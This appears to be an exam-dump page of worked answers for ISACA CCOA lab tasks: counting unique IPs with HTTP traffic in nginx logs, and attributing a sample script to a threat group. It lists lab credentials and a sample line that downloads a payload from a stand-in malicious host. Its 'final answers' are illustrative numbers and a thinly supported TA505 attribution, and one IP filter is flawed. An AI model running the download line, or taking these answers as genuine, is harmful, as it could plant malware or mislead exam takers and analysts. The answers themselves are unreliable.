Isaca CCOA Dumps

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.